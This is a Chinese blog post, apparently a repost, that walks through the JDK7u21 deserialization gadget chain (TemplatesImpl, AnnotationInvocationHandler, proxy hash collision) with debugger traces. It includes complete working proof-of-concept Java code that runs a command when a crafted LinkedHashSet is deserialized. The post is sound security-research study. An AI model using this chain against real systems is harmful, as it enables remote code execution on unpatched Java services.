zoukankan      html  css  js  c++  java
  • JDK7u21反序列化Gadgets

    原文https://l3yx.github.io/2020/02/22/JDK7u21%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets/#more

    一开始是学习FastJson反序列化的POC,然后发现欠缺不少知识,遂来补一下,收获良多,总结下笔记

    所谓JDK反序列化Gadgets就是不同于利用Apache-CommonsCollections这种外部库,而是只利用JDK自带的类所构造的

    先下载并配置好JDK7u21

    Javassist

    为了理解POC构造过程,还需要学习一些前置知识,Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含 Java 类或接口,Javassist 就是一个用来 处理 Java 字节码的类库

    pom.xml

    1
    2
    3
    4
    5
    <dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.19.0-GA</version>
    </dependency>

    例如

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import javassist.*;
    import java.util.Arrays;

    public class Demo {
    public static void main(String[] args) throws Exception {
    ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
    CtClass cc = pool.makeClass("Evil");//创建Evil类
    cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
    CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
    cons.setBody("{ Runtime.getRuntime().exec("calc"); }");//设置无参构造函数体
    cc.addConstructor(cons);

    byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码
    System.out.println(Arrays.toString(byteCode));

    cc.writeFile("D:/Evil/");//将字节码写到D:/Evil/

    cc.toClass().newInstance();//得到Evil类类对象,借助反射构建Evil对象
    }
    }

    将D:/Evil/Evil.calss拖入IDEA即可反编译,可以看见javassist动态构建出了如下类

    image-20200222150342279

    至于为什么要继承AbstractTranslet,和构造函数中写命令执行的payload就涉及到下面POC的构造,暂时只需要了解javassist的大概功能

    TemplatesImpl

    之前参考网上分析文章的POC是从ysoserial中修改得来的,代码中使用了ysoserial的一些类,我修改了一下将POC核心部分单独提取出来方便理解

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.*;
    import java.lang.reflect.Field;

    public class Demo {
    public static void main(String[] args) throws Exception {
    ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
    CtClass cc = pool.makeClass("Evil");//创建Evil类
    cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
    CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
    cons.setBody("{ Runtime.getRuntime().exec("calc"); }");//设置无参构造函数体
    cc.addConstructor(cons);
    byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

    byte[][] targetByteCode = new byte[][]{byteCode};
    TemplatesImpl templates = TemplatesImpl.class.newInstance();
    setFieldValue(templates,"_bytecodes",targetByteCode);
    setFieldValue(templates,"_class",null);
    setFieldValue(templates,"_name","xx");
    setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

    templates.getOutputProperties();
    }

    //通过反射为obj的属性赋值
    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
    Field field=obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj,value);
    }
    }

    主要就是利用了TemplatesImpl,向其中的_bytecodes属性赋值了一个恶意类,最终该恶意类被实例化并且调用了构造函数中的命令执行payload。javassist在这里的作用呢其实主要就是构建这么一个恶意类,并且得到其字节码用以给TemplatesImpl相关属性赋值,所以可以自行编译一个恶意类并读入字节码来使用

    但会发现这里其实反序列化TemplatesImpl后还需要调用getOutputProperties()方法才能触发,不过在FastJson中已经可以形成完整利用链

    getOutputProperties()函数下断点,跟踪一下执行过程

    强制进入该函数

    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties

    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer

    image-20200222160020838

    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance

    这里得到POC中两项属性的构造条件,即_name不能为null,_class为null,然后进入defineTransletClasses()

    其实最终的触发点就在380行_class[_transletIndex].newInstance()defineTransletClasses()是对_class_transletIndex赋值

    image-20200222160124453

    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses

    image-20200222160514649

    代码比较长这里就直接复制出来了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    private void defineTransletClasses()
    throws TransformerConfigurationException {

    //_bytecodes不能为null
    if (_bytecodes == null) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
    throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
    AccessController.doPrivileged(new PrivilegedAction() {
    public Object run() {
    /*在JDK7u80这一段代码是不同的
    TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
    所以为了兼容JDK7u80,_tfactory需要存在findClassLoader()方法,即TransformerFactoryImpl类*/
    return new TransletClassLoader(ObjectFactory.findClassLoader());
    }
    });

    try {
    //获取_bytecodes长度并创建_class数组,所以POC中将恶意类的字节码转换为一个二维字节数组,new byte[][]{byteCode}
    final int classCount = _bytecodes.length;
    _class = new Class[classCount];

    if (classCount > 1) {
    _auxClasses = new Hashtable();
    }

    for (int i = 0; i < classCount; i++) {
    //_bytecodes[0]即为恶意类的字节码,ClassLoader.defineClass将字节数组转换为类的一个实例类
    _class[i] = loader.defineClass(_bytecodes[i]);
    final Class superClass = _class[i].getSuperclass();

    //判断恶意类的父类,即必须为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
    }
    else {
    _auxClasses.put(_class[i].getName(), _class[i]);
    }
    }

    if (_transletIndex < 0) {
    ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
    }
    }
    catch (ClassFormatError e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
    }
    catch (LinkageError e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
    }
    }

    defineTransletClasses()执行完以后,回到getTransletInstance(),此时_class[_transletIndex]已经为Evil类的一个类对象,调用newInstance()实例化Evil即可触发该类构造函数或者静态代码块中的代码

    image-20200222160756476

    所以总结以上条件,便可理解TemplatesImpl的构造

    1
    2
    3
    4
    setFieldValue(templates,"_bytecodes",targetByteCodes);
    setFieldValue(templates,"_class",null);
    setFieldValue(templates,"_name","xx");
    setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

    动态代理

    以上POC是需要反序列化TemplatesImpl类并调用其getOutputProperties()方法才能触发,即可以放入FastJson的反序列化处,但若没有触发getOutputProperties()的点,就需要寻找其他手段

    代理是为了在不改变目标对象方法的情况下对方法进行增强,比如,我们希望对方法的调用增加日志记录,或者对方法的调用进行拦截

    假设有一个Person类实现了IPerson接口中的say方法,但现在要在say方法前后实现一些逻辑,那么借助动态代理实现如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Method;
    import java.lang.reflect.Proxy;

    public class Test {
    public static void main(String[] args) throws Exception {
    Person person = new Person();
    Handler handler = new Handler(person);
    //Proxy.newProxyInstance会返回一个代理对象,第一个参数为类加载器,第二个参数为实际对象实现的接口,第三个即为我们构造的handler对象
    IPerson iPerson = (IPerson) Proxy.newProxyInstance(IPerson.class.getClassLoader(), new Class[] {IPerson.class}, handler);
    iPerson.say("Hello");//调用代理对象的say,即会调用传入的handler对象中的invoke,并传入方法对象和参数
    }
    }

    //需要被代理的对象实现的接口
    interface IPerson{
    void say(String sentence);
    }

    //实际需要被代理的对象
    class Person implements IPerson{
    public void say(String sentence) {
    System.out.println(sentence);
    }
    }

    //Handler对象,需要继承InvocationHandler,调用代理对象的方法时,实际会调用Handler的invoke方法
    class Handler implements InvocationHandler{
    private Object target;
    Handler(Object target){
    this.target=target;
    }
    //proxy为代理对象,method为要调用的方法的Method对象,args为调用method时传入的参数
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    System.out.println("I am speaking");
    method.invoke(target, args);//通过反射调用实际对象target的method方法
    System.out.println("My word is over");
    return null;
    }
    }

    AnnotationInvocationHandler

    AnnotationInvocationHandler就是一个InvocationHandler的实现类,也在下面的POC中起到关键作用

    先贴出整理好的POC

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.*;
    import javassist.*;
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.*;
    import java.util.*;

    public class Demo {
    //序列化
    public static byte[] serialize(final Object obj) throws Exception {
    ByteArrayOutputStream btout = new ByteArrayOutputStream();
    ObjectOutputStream objOut = new ObjectOutputStream(btout);
    objOut.writeObject(obj);
    return btout.toByteArray();
    }
    //反序列化
    public static Object unserialize(final byte[] serialized) throws Exception {
    ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
    ObjectInputStream objIn = new ObjectInputStream(btin);
    return objIn.readObject();
    }

    //通过反射为obj的属性赋值
    private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
    Field field=obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj,value);
    }

    //封装了之前对恶意TemplatesImpl类的构造
    private static TemplatesImpl getEvilTemplatesImpl() throws Exception{
    ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
    CtClass cc = pool.makeClass("Evil");//创建Evil类
    cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
    CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
    cons.setBody("{ Runtime.getRuntime().exec("calc"); }");//设置无参构造函数体
    cc.addConstructor(cons);
    byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码
    byte[][] targetByteCode = new byte[][]{byteCode};
    TemplatesImpl templates = TemplatesImpl.class.newInstance();
    setFieldValue(templates,"_bytecodes",targetByteCode);
    setFieldValue(templates,"_class",null);
    setFieldValue(templates,"_name","xx");
    setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
    return templates;
    }

    public static void main(String[] args) throws Exception {
    TemplatesImpl templates=getEvilTemplatesImpl();

    HashMap map = new HashMap();

    //通过反射创建代理使用的handler,AnnotationInvocationHandler作为动态代理的handler
    Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
    ctor.setAccessible(true);
    InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);

    Templates proxy = (Templates) Proxy.newProxyInstance(Demo.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);

    LinkedHashSet set = new LinkedHashSet();
    set.add(templates);
    set.add(proxy);

    map.put("f5a5a608", templates);

    byte[] obj=serialize(set);
    unserialize(obj);
    }
    }

    可见最后unserialize(obj)只是反序列化了一个LinkedHashSet类就触发了命令执行

    Java在反序列化的时候会调用ObjectInputStream类的readObject()方法,如果被反序列化的类重写了readObject(),那么该类在进行反序列化时,Java会优先调用重写的readObject()方法

    LinkedHashSet没有readObject()但是继承自HashSet

    image-20200222200618469

    HashSet实现了Serializable接口并且有readObject()方法,所以在反序列化LinkedHashSet时会调用其父类HashSetreadObject(),可以在该函数处下断点运行POC进一步跟踪调试

    image-20200222200653974

    java.util.HashSet#readObject

    image-20200222200740551

    到309行的逻辑是将POC中add到settemplatesproxy加入到map中,

    image-20200222201701982

    PRESENT是一个常量,就是一个新的object对象

    image-20200222225202662

    继续跟进put方法,会在第二次调用map.put时进入下面的475行的位置,即现在传入的keyproxy

    java.util.HashMap#put

    image-20200222203051744

    这段代码本意是判断最新的元素是否已经存在的元素,如果不是已经存在的元素,就插入到table中,e.key为前一个元素即templates,key为当前元素proxy

    table[i]就是一个键为我们构造的templates的Map

    image-20200222220213982

    当前的e.keykey,一个是templates,另一个是POC中的proxy,显然不同,(k = e.key) == key为false

    image-20200222220451248

    这条链想要完成是需要进入key.equals(k)的,依据短路特性,那么必须要e.hash == hash为true,也就是需要满足 hash(templates)== hash(proxy),看起来貌似不可能,但漏洞作者确实做到了(大写的佩服)

    这里hash的绕过方法就暂时放在下面,先接着跟踪key.equals(k)

    image-20200222203511373

    由于POC中使用动态代理,这里调用Templates.equals()就会进入handlerinvoke

    sun.reflect.annotation.AnnotationInvocationHandler#invoke

    var1就是上图中的keyvar2equals方法对象,var3是传入的参数数组,即上图中的k(TemplatesImpl)

    image-20200222204446774

    继续跟入equalsImpl

    sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl

    image-20200222210434857

    分析之前先看一下这个类的相关方法和属性

    首先是构造函数

    sun.reflect.annotation.AnnotationInvocationHandler#AnnotationInvocationHandler

    image-20200222210525096

    在构造handler时ctor.newInstance(Templates.class, map)

    即这里的this.typethis.memberValues分别是Templates.classmap

    sun.reflect.annotation.AnnotationInvocationHandler#getMemberMethods

    image-20200222210905902

    并未对this.memberMethods赋值,所以这里进入if分支,最后返回的是this.type的所有方法,即Templates的所有方法

    sun.reflect.annotation.AnnotationInvocationHandler#asOneOfUs

    判断var1对象若是一个AnnotationInvocationHandler实例的话则转换为AnnotationInvocationHandler

    image-20200222211521556

    然后接着看equalsImpl

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    private Boolean equalsImpl(Object var1) {//var1是POC中构造的templates
    if (var1 == this) {
    return true;
    } else if (!this.type.isInstance(var1)) {
    return false;
    } else {
    Method[] var2 = this.getMemberMethods();//var2是Templates的所有方法
    int var3 = var2.length;//Templates方法的数量

    for(int var4 = 0; var4 < var3; ++var4) {//迭代Templates的所有方法
    Method var5 = var2[var4];//var5为Templates的中的某个方法
    String var6 = var5.getName();//var6为该方法的名称
    Object var7 = this.memberValues.get(var6);//在memberValues中获取key为var6的值,但memberValues只有一个key为f5a5a608的键值对,所以var7为null
    Object var8 = null;
    AnnotationInvocationHandler var9 = this.asOneOfUs(var1);//var9也为null
    if (var9 != null) {
    var8 = var9.memberValues.get(var6);
    } else {
    try {
    var8 = var5.invoke(var1);//运行会到这里,所以会调用Templates中的所有方法
    } catch (InvocationTargetException var11) {
    return false;
    } catch (IllegalAccessException var12) {
    throw new AssertionError(var12);
    }
    }

    if (!memberValueEquals(var7, var8)) {
    return false;
    }
    }

    return true;
    }
    }

    既然调用了Templates中的所有方法,自然包括getOutputProperties(),即完成了命令执行

    Hash绕过

    image-20200222203511373

    java.util.HashMap#hash

    hash()中调用了对象本身的hashCode()

    image-20200222230037778

    调用hash(templates)的时候,这个类没有重写,调用的是templates默认的hashCode()方法

    当调用hash(proxy)的时候,则会跳到AnnotationInvocationHandler.invoke()

    sun.reflect.annotation.AnnotationInvocationHandler#invoke

    image-20200222223127808

    sun.reflect.annotation.AnnotationInvocationHandler#hashCodeImpl

    该方法会从memberValues中进行遍历,并且依次计算key.hashCode(),而这个memberValues是我们在初始化AnnotationInvocationHandler的时候传入的map

    image-20200222223209538

    sun.reflect.annotation.AnnotationInvocationHandler#memberValueHashCode

    image-20200222230700698

    所以

    var1=0; var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

    相当于

    var1 = 127 * map中键的hashCode ^ map中值的hashCode

    POC中构造map.put("f5a5a608", templates),而字符串的hashCode为0

    所以

    var1 = 127 * 0 ^ templates的hashCode

    var1 = templates的hashCode

    map.put的位置问题

    仔细观察POC会发现,并没有在创建一个HashMap后就立即插入数据,而是把map.put("f5a5a608", templates)放在了set.add之后

    image-20200223000229937

    如果放在set.add之前会直接在本地触发命令执行,并且得到的序列化之后的数据不能反序列化成功

    image-20200223000741750

    java.util.HashSet#add

    这是因为add方法中会直接调用map.put,然后后面的过程就同之前分析的一致了

    image-20200223001156031

    参考

    JDK反序列化Gadgets 7u21

    JDK7u21反序列化漏洞分析

    秒懂Java动态编程(Javassist研究)

    Java动态代理-实战

  • 相关阅读:
    mongodb配置主[Master]从[Slave]同步
    consul[安装/服务启用/注册].md
    Mysql用户管理相关
    GIT简易操作手册与分支管理策略
    Java 集合类高阶面试题
    List和Set相关面试题
    Map类面试题
    JDK相关基础面试题
    Java面向对象面试题
    MySQL in CentOS 7 安装部署
  • 原文地址:https://www.cnblogs.com/leixiao-/p/12353006.html
Copyright © 2011-2022 走看看